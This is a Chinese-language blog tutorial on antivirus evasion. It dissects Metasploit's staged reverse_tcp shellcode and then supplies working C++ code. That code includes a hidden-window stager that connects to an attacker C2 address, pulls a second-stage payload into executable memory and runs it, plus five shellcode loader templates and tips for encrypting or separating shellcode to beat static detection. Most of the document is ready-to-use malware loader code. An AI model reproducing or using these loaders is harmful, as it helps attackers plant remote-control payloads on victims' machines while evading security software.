免杀基础

Shellcode

1、shellcode是什么

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

说白了,就是一段16进制字符串,可以直接运行在内存中

2、shellcode分类

stage和stageless

Stage&Stageless. 所谓的stage(有阶段),指的是Beacon会分段的加载shellcode(具体表现为,通过不断的向Listener发起请求,最终获取一个完整的shellcode并执行),stageless(无阶段),则是在生成时包含完整的shellcode。

说白了,webshell里的小马和大马

1
2
windows/x64/meterpreter/reverse_tcp stage
windows/x64/meterpreter_reverse_tcp stageless

3、stage(有阶段)shellcode分析

msf的shellcode源码:

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/stager/stager_reverse_tcp_nx.asm

1
2
3
4
5
6
7
8
9
10
11
12
[BITS 32]
[ORG 0]

cld ; Clear the direction flag. 用于将处理器的方向标志位清零,确保字符串操作的方向是向上增长。
call start ; Call start, this pushes the address of 'api_call' onto the stack. 这是一个函数调用,它调用了一个名为start的标签处的代码。
%include "./src/block/block_api.asm" 这条指令包含了一个外部文件的内容,这个文件包含了API调用相关的代码。
start: ;
pop ebp ; pop off the address of 'api_call' for calling later. 这里使用pop指令将栈顶的数值弹出并存入寄存器ebp中。
%include "./src/block/block_reverse_tcp.asm"
; By here we will have performed the reverse_tcp connection and EDI will be our socket. 这个指令又包含了另一个外部文件的内容,可能是与反向TCP shell相关的代码。
%include "./src/block/block_recv.asm"
; By now we will have recieved in the second stage into a RWX buffer and be executing it. 这个指令包含了接收数据的代码。
block_api.asm

代码中包含了三个文件,先来分析第一个 ./src/block/block_api.asm 文件

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX
mov edx, [fs:edx+0x30] ; Get a pointer to the PEB
mov edx, [edx+0xc] ; Get PEB->Ldr
mov edx, [edx+0x14] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+0x28] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi, 0xd ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
dec ecx
jnz loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+0x10] ; Get this modules base address
mov eax, [edx+0x3c] ; Get PE header
add eax, edx ; Add the modules base address
mov eax, [eax+0x78] ; Get export tables RVA
test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx, [eax+0x18] ; Get the number of function names
mov ebx, [eax+0x20] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
test ecx, ecx ; Changed from jecxz to accomodate the larger offset produced by random jmps below
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi, 0xd ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+0x24] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+0x24] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+0x1c] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+0x24], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module

主要功能是通过计算的hash值来找到对应 dll 和函数的地址,大概流程如下:

  1. 程序首先通过哈希值比较的方式,在已加载的模块列表中搜索匹配的函数名。它使用一个循环来遍历模块列表,并将函数名与哈希值进行比较,直到找到匹配的函数或遍历完所有模块。
  2. 如果找到了匹配的函数,程序会恢复栈上的数据,并获取目标函数的地址。
  3. 接下来,程序会修正栈上的数据,以便调用目标函数,并跳转到该函数的地址,实现函数调用。
  4. 如果没有找到匹配的函数,或者已经遍历完所有模块,则程序会继续处理下一个模块,直到找到匹配的函数或遍历完所有模块为止。
block_reverse_tcp.asm

第二个文件是 ./src/block/block_reverse_tcp.asm 文件

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
reverse_tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "ws2_32" )

mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );

push eax ; if we succeed, eax wil be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this

set_address:
push byte 0x05 ; retry counter
push 0x0100007F ; host 127.0.0.1
push 0x5C110002 ; family AF_INET and port 4444
mov esi, esp ; save pointer to sockaddr struct

try_connect:
push byte 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push 0x6174A599 ; hash( "ws2_32.dll", "connect" )
call ebp ; connect( s, &sockaddr, 16 );

test eax,eax ; non-zero means a failure
jz short connected

handle_failure:
dec dword [esi+8]
jnz short try_connect

failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp

connected:

这个文件是发起socket连接的,请求连接写好的c2的地址和端口,大概流程是

  1. 加载 ws2_32.dll 库;
  2. 调用 WSAStartup() 初始化 Winsock;
  3. 调用 WSASocketA() 创建一个套接字;
  4. 指定要连接的目标地址和端口号;
  5. 调用 connect() 尝试连接指定的目标;
  6. 如果连接失败,则重试指定次数(这里是 5 次);
  7. 如果连接成功,则将控制权交给远程主机。
block_recv.asm

第三个文件是 ./src/block/block_recv.asm 文件

https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_recv.sm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[BITS 32]

; Compatible: block_bind_tcp, block_reverse_tcp, block_reverse_ipv6_tcp

; Input: EBP must be the address of 'api_call'. EDI must be the socket. ESI is a pointer on stack.
; Output: None.
; Clobbers: EAX, EBX, ESI, (ESP will also be modified)

recv:
; Receive the size of the incoming second stage...
push byte 0 ; flags
push byte 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, &dwLength, 4, 0 );
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more: ;
push byte 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, buffer, length, 0 );
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage

这个文件是处理接收到的内容的,运行 recv 接收一个4字节,然后把这个4字节内容作为长度,使用virtualAlloc开辟对应长度的空间,循环读接下来发送过来的内容并存到刚刚开辟的空间里面,最后直接ret 将之前开辟空间的地址放到eip,运行传输过来的内容用于第二阶段的持续控制。

  1. 接收第二阶段的大小
  2. 为第二阶段分配一个RWX(可读可写可执行)的缓冲区
  3. 接收第二阶段的代码到缓冲区
  4. 最后,使用ret指令从函数中返回,并跳转到第二阶段的地址,开始执行第二阶段的代码。
c++实现shellcode连接

接下来使用c++实现上述的功能,替代shellcode,直接利用socket与msf建立连接,实现免杀

主要步骤:

  1. 找到ws2_32.dll库
  2. 初始化socket对象
  3. 开始建立链接
  4. 申请需要的内存空间
  5. 循环接受msf传递的payload到内存空间中
  6. 使用汇编指令jmp将内存空间中的payload转换成可执行的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <WinSock2.h>
#include <stdio.h>
#pragma warning (disable: 4996)
#pragma comment(lib,"WS2_32.lib")
#include<windows.h>

int main(int argc, char** argv)
{
ShowWindow(GetForegroundWindow(), 0); //将当前活动窗口隐藏
//分配socket资源
WSADATA wsdata;
if (WSAStartup(MAKEWORD(2, 2), &wsdata))
{
printf("WSAStartp fail.\n");
return 0;
}

//申请socket,并链接
SOCKET socket = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
SOCKADDR_IN server;
ZeroMemory(&server, sizeof(SOCKADDR_IN));
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("X.X.X.X"); //server ip
server.sin_port = htons(4444); //server port
if (SOCKET_ERROR == connect(socket, (SOCKADDR*)&server, sizeof(server)))
{
printf("connect to server fail.\n");
goto Fail;
}

//接收长度
u_int stagelength;
if (recv(socket, (char*)&stagelength, sizeof(stagelength), 0) != sizeof(stagelength))
{
printf("recv error\n");
goto Fail;
}

//分配空间,以接收真正载荷
char* orig_buffer;
orig_buffer = (char*)VirtualAlloc(NULL, stagel ength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* stage_buf;
stage_buf = orig_buffer;
int ret;
ret = 0;
do
{
ret = recv(socket, stage_buf, stagelength, 0);
stage_buf += ret;
stagelength -= ret;
} while (ret > 0 && stagelength > 0);


//传入参数,并执行载荷
__asm
{
mov edi, socket; //socket 存放在edi中
jmp orig_buffer; //执行权转移到 载荷中,不要指望它返回。如果想要它返回,修改量比较大,不如把这个地方做成个线程,监听端设置退出时ExitThread更方便
}

//释放空间
VirtualFree(orig_buffer, 0, MEM_RELEASE);

Fail:

closesocket(socket);
WSACleanup();
return 0;
}

基础加载器

1、内联汇编加载

使用内联汇编只能加载32位程序的ShellCode,因为64位程序不支持写内联汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#pragma comment(linker, "/section:.data,RWE") //将data段的内存设置成可读可写可执行
#include <Windows.h>

//ShellCode部分
unsigned char buf[] = "";

void main() {

__asm {
lea eax,buf // lea是赋予地址的操作符 将buf的地址赋值给eax寄存器
call eax // call是函数调用操作符 调用eax,将eax里的值当作函数来执行
}
}
// 把buf的变量所在的位置当作我们执行的空间,赋予了一个可执行的属性,然后用函数调用的方式去执行

2、使用函数指针加载

如下代码所示,(void(*)(void))是一个函数指针类型的强制转换, 该函数指针指向一个没有参数且返回值类型为void的函数,也就是说这行代码将 buf 的地址转换为一个函数指针,然后调用该指针所指向的函数,其实这种方法和上述加载方式原理是一样的,只不过这种方法还能用于加载64位的ShellCode

1
2
3
4
5
6
7
8
9
10
11
12
#pragma comment(linker, "/section:.data,RWE") //将data段的内存设置成可读可写可执行
#include <Windows.h>

//ShellCode部分
unsigned char buf[] ="0x??";

void main() {
((void(*)(void)) & buf)(); //执行ShellCode
}
// void(*)(void) 定义一个函数类型 函数的返回值为空 函数的参数为空 并且是一个指针函数
// (void(*)(void) &buf 将&buf强制类型转换成void(*)(void)这个指针函数的类型
// ((void(*)(void)) &buf) () 函数调用 调用((void(*)(void)) &buf)一整个函数

3、创建线程加载

上述两种方法都需要将data节的内存设置成可读可写可执行, 以下这段代码的主要作用是在内存中分配一段可执行的内存空间,将buf数组中的内容复制到该内存空间,并创建一个新线程来执行这段内存中的代码

主要分为三步:

  • 1、申请一段新的内存空间
  • 2、把shellcode复制过去
  • 3、用新的线程去执行这段新的空间里的内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <Windows.h>

//ShellCode部分
unsigned char buf[] = "";

void main() {

// 申请一块可进行读写操作的内存
LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// 将buf数组中的内容复制到刚刚分配的内存中
RtlMoveMemory(pMemory, buf, sizeof(buf));

// 创建一个新的线程来执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

// 设置为一直运行这个线程,除非收到Single信号才中断
WaitForSingleObject(hThread, INFINITE);

}

4、通过堆加载

这段代码首先创建了一个具有执行权限的堆,然后在堆中分配内存并将shellcode复制到内存中。最后,代码通过直接调用存储在内存中的shellcode来执行它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <Windows.h>

//ShellCode部分
unsigned char shellcode[] = "";

void main() {
// 创建一个具有执行权限的堆,以存储shellcode
HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(shellcode), 0);

// 在创建的堆中分配一块内存,并将其地址赋给buffer
char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(shellcode));

// 将shellcode复制到buffer指向的内存中
memcpy(buffer, shellcode, sizeof(shellcode));

// 将buffer指向的内存地址强制转换为一个函数指针,并调用该函数,执行shellcode
((void(*)(void)) buffer)();

// 下面是另一种创建线程的方法,这里被注释掉了
// 创建一个新线程并执行buffer指向的内存中的shellcode
// HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);

// 等待新线程执行完毕
// WaitForSingleObject(hThread, INFINITE);
}

5、基于资源节加载

导入资源

使用MSF生成bin文件,随后点击VSstudio中添加资源->导入,并选择生成的bin文件

然后自定义bin文件的资源类型, 此处我自定义的类型为”shellcode”,当然你也可以定义成其它的名字

添加完资源后会在当前项目生成一个resource.h, 代码如下所示,这里只需注意这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define IDR_SHELLCODE1 101
#include <Windows.h>
#include "resource.h"


//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ 生成的包含文件。
// 供 Shellcode加载器.rc 使用
//

//IDR_SHELLCODE1 通常用于标识和引用项目中的某个资源,例如嵌入到可执行文件中的二进制数据、图像或其他类型的资源,在项目的其他部分(例如代码或资源脚本中),可以通过使用 IDR_SHELLCODE1 符号来引用这个资源,而不是直接使用数字常量(如 101
#define IDR_SHELLCODE1 101

// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 102
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
实现代码

以下是完整shellcode加载器代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <Windows.h>
#include "resource.h"

//通过资源加载ShellCode
void ResourceLoader() {

/*
FindResource用于查找指定模块(EXE或DLL文件)中指定名称和类型的资源,其语法格式如下:
HRSRC FindResource(
HMODULE hModule, //指向包含要查找的资源的模块的句柄,若该参数为NULL,则查找当前进程中的资源
LPCTSTR lpName, //指向资源名称的指针,可以是一个字符串或者一个整数,若是一个整数,则它是一个由MAKEINTRESOURCE宏定义的资源标识符
LPCTSTR lpType //指向资源类型的指针,可以是一个字符串或者一个整数。若是一个整数,则它是一个由MAKEINTRESOURCE宏定义的资源类型标识符
);
如果查找成功,则返回资源句柄;否则返回NULL
*/
HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_SHELLCODE1), L"shellcode");

//用于获取资源的大小
DWORD ResSize = SizeofResource(NULL, Res);

//LoadResource函数会将指定资源句柄所指向的资源数据加载到内存中,并返回一个指向该资源数据的句柄
HGLOBAL Load = LoadResource(NULL, Res);

//申请内存
void* buffer = VirtualAlloc(NULL, ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(buffer, Load, ResSize);

//执行shellcode
((void(*)(void)) buffer)();
}

int main() {

ResourceLoader();
}

导入资源和实现代码在一个exe中

静态免杀:要么自己写shellcode,要么加密混淆shellcode使其解不明白,要么分离shellcode。如果检查加载器另说


免杀基础
http://example.com/2024/05/20/免杀基础/
作者
Simply
发布于
2024年5月20日
许可协议